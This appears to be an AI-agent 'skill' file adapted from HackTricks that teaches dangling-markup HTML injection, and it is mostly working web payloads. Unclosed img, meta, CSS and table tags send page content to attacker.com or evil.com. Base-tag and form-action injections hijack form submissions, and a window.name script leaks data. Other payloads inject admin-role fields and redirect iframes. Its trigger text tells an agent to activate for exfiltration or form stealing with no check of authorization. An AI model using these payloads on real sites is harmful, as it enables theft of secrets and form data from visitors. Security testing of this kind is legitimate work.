Hacktricks-skills dangling-markup-html-injection
How to exploit HTML injection vulnerabilities using dangling markup techniques to exfiltrate data, steal forms, bypass CSP, and manipulate page behavior without JavaScript execution. Use this skill whenever the user mentions HTML injection, scriptless attacks, XSS bypass, CSP bypass, data exfiltration, form stealing, or any scenario where they can inject HTML tags but not JavaScript. Also trigger for dangling markup, HTML namespace attacks, form action manipulation, or when testing for HTML injection vulnerabilities.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/pentesting-web/dangling-markup-html-scriptless-injection/dangling-markup-html-scriptless-injection/SKILL.MDDangling Markup - HTML Scriptless Injection
This skill helps you exploit HTML injection vulnerabilities when you cannot execute JavaScript (no XSS) but can inject HTML tags. These techniques are useful for:
- Exfiltrating secrets stored in clear text in HTML
- Stealing form data by redirecting submissions
- Bypassing Content Security Policy (CSP) restrictions
- Misleading script execution by manipulating the DOM
- Data exfiltration through various HTML tag attributes
When to Use This Skill
Use this skill when:
- You've found an HTML injection point but no XSS
- You need to exfiltrate data from a page with HTML injection
- You want to bypass CSP restrictions
- You need to steal or redirect form submissions
- You're testing for dangling markup vulnerabilities
- You want to manipulate page behavior without JavaScript
Core Technique
Dangling markup works by injecting incomplete HTML tags that "capture" content until the browser finds a closing quote or delimiter. The browser then sends this captured content to an attacker-controlled endpoint.
1. Stealing Clear Text Secrets
Using <img>
tag
<img>Inject an unclosed
src attribute to capture content until the next quote:
<img src='http://attacker.com/log.php?HTML=
What happens: When the page loads, the victim's browser sends all HTML content between your injection point and the next single quote to your server.
Variations:
<img src="http://attacker.com/log.php?HTML=" <!-- Double quote version -->
Using <meta>
refresh tag
<meta>If
<img> is blocked by CSP, use meta refresh:
<meta http-equiv="refresh" content='0; url=http://evil.com/log.php?text=' <meta http-equiv="refresh" content='0;URL=ftp://evil.com?a='
Note: Chrome blocks HTTP URLs with
< or \n characters. Try ftp:// protocol instead.
Using CSS @import
@import<style>@import '//attacker.com?'
What happens: Sends all code until it finds a
; character.
Using <table>
background attribute
<table><table background='//your-collaborator-id.burpcollaborator.net?'
Using <base>
tag
<base><base target='
Note: Requires user interaction (clicking a link) because the base tag changes the domain pointed by links.
2. Stealing Forms
Method 1: Base tag hijacking
<base href="http://evil.com/" />
Effect: All forms with relative action paths (e.g.,
<form action='update_profile.php'>) will submit to your malicious domain.
Method 2: Form header injection
<form action='http://evil.com/log_steal'>
Effect: Overwrites the next form header, redirecting all form data to your server.
Method 3: Button formaction attribute
<button name="xss" type="submit" formaction="https://attacker.com/steal"> Submit </button>
Effect: Changes where the form data is sent when clicked.
Reference: PortSwigger research on stealing passwords without bypassing CSP
3. Stealing Clear Text Secrets via Forms
Hidden input field injection
Combine form stealing with secret exfiltration:
<input type='hidden' name='review_body' value="
What happens: The hidden input captures all content between the opening and next closing double quote, then submits it with the form.
Option tag injection
<form action=http://attacker.com><input type="submit">Click Me</input><select name=xss><option
What happens: All data until
</option> is found gets submitted.
4. Form Parameter Injection
Inject hidden fields to modify form behavior:
<form action="/change_settings.php"> <input type="hidden" name="invite_user" value="attacker" /> <input type="hidden" name="role" value="admin" />
Effect: Adds unexpected parameters to form submissions, potentially bypassing validation or triggering unintended actions.
5. Stealing via <noscript>
Tag
<noscript>Exfiltrate page content when JavaScript is disabled:
<noscript> <form action=http://evil.com> <input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" value=""> <textarea name=contents></noscript>
What happens: If the browser doesn't support/execute JavaScript, the content from injection point to bottom of page is captured and submitted.
6. Bypassing CSP with User Interaction
Even in highly restricted CSP environments, you can exfiltrate data with user interaction:
Step 1: Inject on target page
<a href=http://attacker.net/payload.html><font size=100 color=red>You must click me</font></a> <base target='
Step 2: Create payload page
<script> if(window.name) { new Image().src='//attacker.com?'+encodeURIComponent(window.name); } </script>
What happens: When victim clicks the link,
window.name contains all HTML content until the next single quote. Your payload page reads and exfiltrates it.
Reference: PortSwigger research on evading CSP with DOM-based dangling markup
7. Misleading Script Workflow
HTML Namespace Attack
Inject an element with an ID that overwrites the legitimate one:
<input type="hidden" id="share_with" value="attacker" />
Effect: JavaScript using
document.getElementById('share_with') gets your injected value instead of the legitimate one.
Script Namespace Attack
Create JavaScript variables via HTML attributes:
<img id="is_public" />
Effect: In some browsers (especially older IE), this creates a global JavaScript variable
is_public that can affect application logic.
8. JSONP Abuse
If a JSONP interface exists, you can call arbitrary functions:
<script src='/search?q=a&call=set_sharing'></script>
Or even execute JavaScript:
<script src="/search?q=a&call=alert(1)"></script>
9. Iframe Abuse
Parent location manipulation
<iframe src="http://attacker.com/redirect.html"></iframe>
Where
redirect.html contains:
<script> top.window.location = "https://attacker.com/hacked.html" </script>
Mitigation: Use
sandbox='allow-scripts allow-top-navigation' attribute.
Iframe name attribute leak
<iframe src="//attacker.com/leak.php?email=%22><iframe name=%27" onload="leakData(this.contentWindow)"></iframe>
Reference: PortSwigger research on bypassing CSP with dangling iframes
10. Meta Tag Abuse
Set cookies
<meta http-equiv="Set-Cookie" content="SESSID=1">
Redirect
<meta name="language" content="5;http://attacker.com" http-equiv="refresh" />
Mitigation: CSP with
http-equiv 'self'
11. Portal Tag Abuse
The
<portal> tag (experimental, requires Chrome flags) can be abused:
<portal src='https://attacker.com?'
Reference: Securitum research on portal element vulnerabilities
12. HTML Leaks
For additional HTML-based connectivity leaks, see:
Testing Checklist
When testing for dangling markup vulnerabilities:
- Identify HTML injection points - Look for reflected user input in HTML context
- Test basic injection - Try
to confirm HTML injection'><img src=x onerror=alert(1)> - Check for XSS filters - If XSS is blocked but HTML works, dangling markup may work
- Test secret exfiltration - Use
to capture content<img src='http://attacker.com? - Test form stealing - Inject
<base href="http://attacker.com/"> - Test CSP bypass - Try meta refresh and other CSP-bypassing techniques
- Test user interaction attacks - Create clickjacking scenarios with base tag
Payload Generator
Use the
generate_payloads.py script to create test payloads for different scenarios:
python scripts/generate_payloads.py --target http://attacker.com --type all